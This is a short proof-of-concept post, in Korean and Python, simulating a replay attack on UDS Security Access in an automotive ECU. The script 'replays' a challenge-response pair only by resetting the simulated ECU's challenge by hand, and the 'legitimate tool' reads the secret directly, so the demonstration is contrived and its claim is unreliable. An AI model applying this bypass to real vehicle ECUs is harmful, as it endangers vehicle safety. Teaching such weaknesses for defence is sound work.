
자동차 ECU를 대상으로 챌린지-응답 재전송을 통한 UDS 인증 우회를 시연하는 PoC 익스플로잇과 Python CAN-UDS 시뮬레이터.
# uds_sim.py - ECU that authenticates with a simple challenge
import random, hashlib
class ECU:
def __init__(self):
self.secret = b'long_secret_key'
def generate_challenge(self):
self.challenge = random.randbytes(8)
return self.challenge
def verify_response(self, response):
expected = hashlib.sha256(self.secret + self.challenge).digest()[:8]
return response == expected
def unlock(self):
print("ECU unlocked! Critical functions accessible.")
# Attacker captures a valid challenge-response pair
ecu = ECU()
challenge = ecu.generate_challenge()
# Legitimate tool computes response (simplified)
response = hashlib.sha256(ecu.secret + challenge).digest()[:8]
ecu.verify_response(response) # first unlock
# Replay the same challenge-response
ecu.challenge = challenge
ecu.verify_response(response) # second unlock without new challenge - works
ecu.unlock()
자동차 ECU는 UDS(Unified Diagnostic Services) 보안 액세스(서비스 0x27)를 구현하지만 일회용 챌린지 사용을 강제하지 않습니다. 공격자는 유효한 챌린지-응답 쌍을 캡처하여 이를 재생함으로써 인증을 우회할 수 있습니다.
시뮬레이션 실행:
python uds_sim.py
ECU는 동일한 인증 쌍으로 두 번 잠금 해제됩니다.